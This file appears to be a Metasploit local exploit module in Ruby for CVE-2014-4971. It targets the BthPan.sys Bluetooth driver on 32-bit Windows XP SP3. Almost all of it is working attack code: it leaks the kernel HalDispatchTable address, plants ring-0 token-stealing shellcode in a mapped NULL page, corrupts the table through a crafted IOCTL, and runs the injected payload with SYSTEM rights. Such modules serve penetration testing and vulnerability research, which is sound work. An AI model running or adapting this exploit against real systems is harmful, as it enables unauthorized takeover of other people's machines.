261 lines
8.3 KiB
Ruby
261 lines
8.3 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Local
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Rank = AverageRanking
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include Msf::Post::File
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include Msf::Post::Windows::FileInfo
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Process
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
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'Description' => %q{
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A vulnerability within Microsoft Bluetooth Personal Area Networking module,
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BthPan.sys, can allow an attacker to inject memory controlled by the attacker
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into an arbitrary location. This can be used by an attacker to overwrite
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HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
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NtQueryIntervalProfile.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
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'Jay Smith <jsmith[at]korelogic.com>' # MSF module
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],
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'Arch' => ARCH_X86,
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'Platform' => 'win',
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'SessionTypes' => [ 'meterpreter' ],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'Windows XP SP3', {} ]
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],
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'References' =>
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[
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[ 'CVE', '2014-4971' ],
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[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ]
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],
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'DisclosureDate' => 'Jul 18 2014',
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'DefaultTarget' => 0
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))
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end
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def add_railgun_functions
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session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
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session.railgun.add_function(
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'psapi',
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'EnumDeviceDrivers',
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'BOOL',
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[
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["PBLOB", "lpImageBase", "out"],
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["DWORD", "cb", "in"],
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["PDWORD", "lpcbNeeded", "out"]
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])
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session.railgun.add_function(
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'psapi',
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'GetDeviceDriverBaseNameA',
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'DWORD',
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[
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["LPVOID", "ImageBase", "in"],
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["PBLOB", "lpBaseName", "out"],
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["DWORD", "nSize", "in"]
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])
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end
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def open_device(dev)
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invalid_handle_value = 0xFFFFFFFF
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r = session.railgun.kernel32.CreateFileA(dev, "FILE_SHARE_WRITE|FILE_SHARE_READ", 0, nil, "OPEN_EXISTING", 0, nil)
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handle = r['return']
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if handle == invalid_handle_value
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return nil
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else
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return handle
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end
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end
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# @return [Array, nil] the address and driver name or nil
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# if the driver name of 'krnl' isn't found
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def find_sys_base
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results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
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addresses = results['lpImageBase'][0, results['lpcbNeeded']].unpack("V*")
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driver_array = nil
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addresses.each do |address|
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results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
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current_drvname = results['lpBaseName'][0, results['return']]
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if current_drvname.downcase.include?('krnl')
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driver_array = [address, current_drvname]
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break
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end
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end
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return driver_array
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end
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def ring0_shellcode
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tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"
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tokenswap << "\x8B\x40\x44\x50\xBB\x04"
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tokenswap << "\x00\x00\x00\x8B\x80\x88"
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tokenswap << "\x00\x00\x00\x2D\x88"
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tokenswap << "\x00\x00\x00\x39\x98\x84"
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tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8"
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tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB"
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tokenswap << [session.sys.process.getpid].pack('V')
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tokenswap << "\x8B\x80\x88\x00\x00\x00"
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tokenswap << "\x2D\x88\x00\x00\x00"
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tokenswap << "\x39\x98\x84\x00\x00\x00"
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tokenswap << "\x75\xED\x89\xB8\xC8"
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tokenswap << "\x00\x00\x00\x61\xC3"
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end
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def fill_memory(proc, address, length, content)
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session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
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unless proc.memory.writable?(address)
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vprint_error("Failed to allocate memory")
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return nil
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end
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vprint_good("#{address} is now writable")
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result = proc.memory.write(address, content)
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if result.nil?
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vprint_error("Failed to write contents to memory")
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return nil
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end
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vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
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return address
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end
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def disclose_addresses(t)
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addresses = {}
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vprint_status("Getting the Kernel module name...")
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kernel_info = find_sys_base
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unless kernel_info
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vprint_error("Failed to disclose the Kernel module name")
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return nil
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end
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vprint_good("Kernel module found: #{kernel_info[1]}")
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vprint_status("Getting a Kernel handle...")
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kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
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kernel32_handle = kernel32_handle['return']
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if kernel32_handle == 0
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vprint_error("Failed to get a Kernel handle")
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return nil
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end
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vprint_good("Kernel handle acquired")
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vprint_status("Disclosing the HalDispatchTable...")
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hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
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hal_dispatch_table = hal_dispatch_table['return']
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if hal_dispatch_table == 0
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vprint_error("Failed to disclose the HalDispatchTable")
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return nil
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end
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hal_dispatch_table -= kernel32_handle
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hal_dispatch_table += kernel_info[0]
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addresses["halDispatchTable"] = hal_dispatch_table
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vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
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return addresses
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end
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def check
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add_railgun_functions
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if sysinfo["Architecture"] =~ /wow64/i || sysinfo["Architecture"] =~ /x64/
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return Exploit::CheckCode::Safe
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end
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os = sysinfo["OS"]
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return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i
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handle = open_device("\\\\.\\bthpan")
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return Exploit::CheckCode::Safe unless handle
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session.railgun.kernel32.CloseHandle(handle)
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return Exploit::CheckCode::Vulnerable
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end
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def exploit
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if is_system?
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fail_with(Exploit::Failure::None, 'Session is already elevated')
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end
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unless check == Exploit::CheckCode::Vulnerable
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fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
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end
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handle = open_device("\\\\.\\bthpan")
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if handle.nil?
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fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device")
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end
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my_target = targets[1]
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print_status("Disclosing the HalDispatchTable address...")
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@addresses = disclose_addresses(my_target)
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if @addresses.nil?
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session.railgun.kernel32.CloseHandle(handle)
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fail_with(Failure::Unknown, "Filed to disclose necessary address for exploitation. Aborting.")
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else
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print_good("Address successfully disclosed.")
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end
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print_status("Storing the shellcode in memory...")
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this_proc = session.sys.process.open
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kernel_shell = ring0_shellcode
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kernel_shell_address = 0x1
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buf = "\x90" * 0x6000
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buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400
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buf[0x5000, kernel_shell.length] = kernel_shell
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result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
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if result.nil?
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session.railgun.kernel32.CloseHandle(handle)
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fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
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end
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print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
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print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
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session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0)
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session.railgun.kernel32.CloseHandle(handle)
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print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
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session.railgun.ntdll.NtQueryIntervalProfile(2, 4)
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print_status("Checking privileges after exploitation...")
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unless is_system?
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fail_with(Failure::Unknown, "The privilege escalation wasn't successful")
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end
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print_good("Privilege escalation successful!")
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p = payload.encoded
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print_status("Injecting #{p.length} bytes to memory and executing it...")
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unless execute_shellcode(p)
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fail_with(Failure::Unknown, "Error while executing the payload")
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end
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end
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end
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